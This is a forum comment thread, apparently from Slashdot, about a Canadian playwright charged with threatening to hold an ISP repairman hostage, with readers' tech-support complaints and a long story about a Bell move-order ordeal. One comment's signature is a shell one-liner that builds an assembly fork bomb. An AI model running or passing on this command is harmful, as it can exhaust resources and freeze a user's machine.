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User Charged With Taking ISP Tech Hostage
User AttheCoalFac pointed us to an interesting tech support story from Canada. Halifax actress and playwright Carol Sinclair was arrested and is now facing criminal charges after a repairman says she threatened to hold him hostage until he fixed her Internet connection. Mrs. Sinclair denies the allegations and says that she merely stated, 'I don't want to hold you hostage, but would you mind hanging around until the other technician arrives so that the two of you can sort it out.' She was arraigned in Halifax Provincial Court Friday and is now free on conditions including that she have no contact with the repairman or any employee from her ISP. Having a lot of experience on both sides of this issue, I'm not sure who I'm cheering for.
Threatened to take him hostage Taking him hostage - the title is misleading.
Here in US, most repairmen won't leave until you sign for the work, as I understand it. If your not satisfied, don't sign for the job.
Ken
this is just a case of a disgruntled customer's remarks being taken WAY out of context.
http://www.zombieapocalypse.tv/
That should read "Threatened to take him hostage (is not the same as) Taking him hostage - the title is misleading. I had a less than and greater than that were scrubbed out of the final posting - sorry.
Ken
It's like me saying, "If you don't do what I want, I'll blow up the world!"
Even if I mean it, it is not a credible threat. Unless there was some physical aspect to this--holding a gun, a hammer, or locking her doors, etc.--who really thinks that an unarmed woman talking about taking a repair man hostage (who probably has a knife, hammer, or at least a screw driver equipped on his repair belt) is unto itself a comment worthy of police action? Was there any physical possibility of her holding him against his will?
I would hate to think manners of speech are now subject to a PC crackdown.
At any event, unless there is a record of the conversation, it's not sufficient evidence of anything at all.
Just a retarded employee with a completely artless grasp of language. Public education sucks. Get over it. Move along, please.
It's a figure of speech ... "I hate to hold you hostage, but ...". That is said in a lot of contexts. If things went down as this story claims, then the ISP tech didn't understand and just blew it all out of proportion.
now we need to go OSS in diesel cars
There's not really enough information to decide who to believe. We don't have Scott's version of events. We have the police's intentionally brief and detail free account of Scott's version of events. We don't know, for instance, why Scott believed a gun was implied.
If this goes to trial, that will probably be the most important piece of evidence. The police didn't find a gun, so for charges to stick the implication that she had better be rock solid. Without the gun or the implication of a gun, there was no credible threat even if a threat was made.
Actually, it's kind of both. We (Shaw customers anyways) go through about 3-4 menu options (English/French, phone/internet, sales/inquiries/support), then get put on hold for anywhere between 5 and 30 minutes. After that it's a real person, every time!
:(
Not only that, but usually (definitely not always), the tech guys actually know what they are talking about and they are always local (never India, etc.) If at the end of it no resolution can be found, they'll almost always arrange to have a Tech show up within a week.
All in all, yes we do have it VERY good up here. Now if only we weren't getting hosed for our cell phones
You're entirely correct, of course. There's not enough information in TFA to say one way or another. Heck, even if it goes to trial, it's literally 'he said, she said.'
Not finding a gun is a major piece of evidence in favor of the playwright, true. Although I've known people who will use threats like that without anything whatsoever to back it up, if they thought they could get away with it; but I'm not getting that vibe. Fortunately, the trial will not be decided on vibes. =)
"I am an Adept of Tantric VAX."
Theatre people, they're almost as bad as carnies. If you have to do on site support for theatre people, make sure there are people who know where you are going and how long you should be. If they don't hear from you after that, they should call the police.
Loose lips lose spit.
Yeah, it only takes three or four weeks until they get tired of telling you "we're looking into it" and they send out a technician. Usually he takes a look, calls up his buddy at the switching station and they quickly realize that you haven't had Internet for the last two months because some idiot at central office didn't get around to filing the disconnect order for the previous tenant until after your connect order.
"Lo and behold, they said someone would be over between 8 and 11 the next morning."
My general experience with ranges is, it pretty much means they'll be there at 10:55AM, as close to the end of that range as possible.
Did she physically prevent him from leaving? Did he even try to leave? If not he should be buried up to his neck and be pelted with muffin fans from 20 paces.
People who bite the hand that feeds them usually lick the boot that kicks them
No doubt there are companies that do computer work. But she would have had to PAY them.
People don't expect that they might have to actually pay someone to fix their computers after they frak them up.
Seems to me that she was just being humorously dramatic. Summary says nothing about a weapon being presented at any time.
They didn't know what was wrong with her internet connection / computer from what I can tell. "There's something wrong with your computer" was just a way to make her go away.
It's sad really all real geeks should love solving problems, but I've worked with loads of people who'll spout some excuse like that even before the customer has explained what's happening. What's even worse is that they do it in a such an obvious way that even non technical people can tell it's bullshit. And it's not like they do anything else instead of work, they just spend a bit more time in idle mode than people who actually try to fix stuff.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Your policy is nothing more then a bullshit cover your companies legal ass policy. If someone actually threatens another person, the law supersedes any company rules and the situation is what it is. The policy is just so later in court the employee can't sue the company saying he was forced to be in that situation or he's lose his job.
Now for your sympathies, as the tech being a person, I can sympathize with him as his customers won't know what they are doing and are going to be upset before he gets to the door so it is a shitty job in that regard, but looking at him as just a tech person, screw him. The company has created a situation where it take multiple calls and requests for the tech to be sent in the first place and the phone support offers nothing other then it's your computer with no direction for assistance since the customers keeps calling back for help.
If tech support was actually anything other then an expense that companies try to minimize, it might actually be useful to people and the whole situation wouldn't even have occurred to begin with.
I know her computer is completely screwed and probably has more viruses then the local hooker but someone from support needs to be able to say more then "Everything is fine on this end, it must be your computer." If someone could explain what she needs to do, and I mean during call one (1) things would be different.
I think there is too much expectation from a customer to be knowledgeable even though they are the ones paying for a service.
It's a remarkably good excuse for the ISP not doing their job; the customer is forbidden to contact them. I think it's probably system-abuse on the part of the ISP.
Not to directly jump in and take sides, but if you want a service, and have to call twenty times with no result, anything else that eventuates is your fault. If someone can't provide you the right service after one call (okay, throw in a second followup call just for good measure) then do business with someone else. Uselss companies will flounder, good companies will flourish. People seem to have lost the ability to look at a service and say "Hey, you aren't doing a good enough job here. Pack up, leave and I will give my money to someone better than you."
Why accept such poor service at all?
Moved to http://soylentnews.org/. You are invited to join us too!
The repair man should have plugged in a laptop or similar, showing a working connection, thus placing the issue squarely on the customers computer. If the repair man couldn't make his laptop connect either, the issue is either with both computers or - much more likely - the connection, and thus he knows he has work to do.
"For every complex problem, there is a solution that is simple, neat, and wrong." -- H.L. Mencken (1880-1956) --
I think an extra 5 minutes on the phone explaining to someone they need a virus scanner is a lot better than losing that person as a customer because all your stupid IT personel would do is tell the person the problem isn't on the company's end. Do you think someone who knows nothing about computers gives a shit that your cable lines are running if they can't connect to the internet? Doubtful. They'll drop your sevice in a heartbeat. One lost customer just because you have some arbitrary rule that all tech calls should be 4 minutes or less. I used to work directory assistance (411) for a cellular company when I was in highschool. We would track down numbers anywhere we could, provide people assistance in tracking down a business even if they didn't know the name, and we even provided movie listings and times. Other companies had a 2-minute limit. Needless to say, we got more thank-yous than thanks-for-nothings. Unfortunately Comcast bought the company (for some reason) and shut it down once they bled it dry.
As for the first guy: What company do you work for? I feel like getting some free equipment when the tech leaves it on my private property. Good luck proving I threatened him or anything. You wanna see threatening, watch what I'll do if you trespass trying to get your equipment back.
But seriously, I've never waved a loaded weapon at a tech support guy before.
Eggs
Milk
Bread
Cat Litter
Soda
i did - very interesting
To boldly mod where no one has trolled before.
So she must have done something to be arrested? You have innocent before proven guilty in Canada too, right? Not just innocent before arrested.
My appreciation of Douglas Adams is far deeper than yours.
I might even have more sympathy for the techie, if not for the following detail: she actually opened the door for him, when he said he needed some CD from the van, and propped it open for when he returns. (Only to see him run off and drive off to the cops.)
I'm sorry, but is there any realistic and sane way to mistake that for a genuine hostage situation? I mean, hello? Isn't that the polar opposite of _preventing_ someone from leaving?
How would that even work, if it were a genuine hostage situation? "KK, you can go now, but please return later 'cuz you're my hostage. I'll let the door propped open for you. KTHXBYE." Or what? :P
Surely it would count as the most incompetent kidnapping in known history.
Look, that maybe he was close to the breaking point himself and he left an impolite customer, ok. I can live with that. Maybe the company even has a policy of leaving at the slightest perceived threat, even as a joke, as someone else suggested. Fine. Leave if you must.
But going to the police and filing criminal charges? Nope, sorry, my sympathy for him automatically ends there. He's an arsehole who thought he can abuse the system to teach someone else a lesson. And I have no sympathy for that.
Well, either that, or he is genuinely schizophrenic and thought that opening the door for him equals preventing him to leave. And in that case, someone put him in a nut house and on neuroleptics. Because God knows what else he might mis-interpret in surrealistic ways, and how he'll react then. Maybe at the next customer he'll think that offering him a glass of water means trying to set him on fire, or whatever. Maybe he'll end up injuring someone or himself, thinking he's fighting for his very life.
A polar bear is a cartesian bear after a coordinate transform.
I have my own horror story of a similar nature, this one with Bell and Bell Sympatico High Speed (a Canadian thing).
Pre-Move: Bell has a "helpful" e-Move link on their website, you simply go to the page, login, fill out the info, state when you want to move, you're done. I opted to call the phone number on the page, just to be sure. Rep was extremely polite and helpful, asked when I wanted the service switched, assured me that was all there was to it.
Day of Move: No switch. No internet.
Move+1: Called them. Three transfers later was bumped to "Business Services" for some reason, which was a call center in India. Woman could barely speak English, line quality was atrocious, staticky - this was to be the case every time. Her computer was saying I was still at the old address, she tried to place a move order but got an error. Said to call back next day.
Move+2: Called back. Same error, said to call back next day.
Move+3: Same error, decided to call residential services just in case to make sure they had moved my phone line. They said their records showed me as connected at my new address, moreover they had sent someone over to physically reconnect me.
Move+4: Business Services again, same error, bounced around by the reps. Told them what residential services had said.
By the way, side note, everyone in India seemed to contradict each other in what they said they saw in my records, they were either lying, couldn't read, or their records are a royal mess. Also, it may be their culture, or their training, but they always try to make it seem as if its your fault, as if they'd done everything they could and you were wasting their time. There are some serious attitude problems over there.
Move+5: Decided to call tech support instead,. Explained the problem. Tech support transferred me to High Speed services. Went through the motions of "is your modem blinking", "is your line under 10 feet long", etc. Call kept getting escalated, they started seeing that things should be working but weren't. Eventually someone found the tech that had gone out had left notes saying the wiring was FUBAR'd. Said they would send another tech. Made appointment, had to wait all day.
Move+6: Nobody came. Around this time I noticed I had no dial tone (I know, I know, but I use the line solely for data...). Called residential support again. Found they had indeed sent someone on moving day, but had NOT hooked up the line due to complications. The Bell rep tried to sell me line insurance! Started telling him why that was so wrong but he transferred me in mid-spiel (goddamned fucker). Made appointment for them to come and finish the job. Would have to wait for them all day.
Move+7: Waited all day, nobody came. Called Bell, they said they had sent someone - only thing was, it couldn't have been true because they sent them around the same time I was busy making the appointment for them to come. Made another appointment, again had to wait for them all day.
Move+8: Two guys showed up, said they had a hard time finding my line outside the building, it was such a mess of old phone wiring. Took them an hour to install a whole new physical line. Line showed a signal, but no internet. They said to wait until next day to see if it came up.
Move+9: It didn't. Called High Speed, I explained that when they sent the tech earlier there was actually no physical line, it was only just created, so could they please another. Made appointment, had to wait all day again.
Move+10: Nobody came or so much as knocked on my door, but internet came back up.
Long story short, I think we're headed for a world where corporations will need bunkers.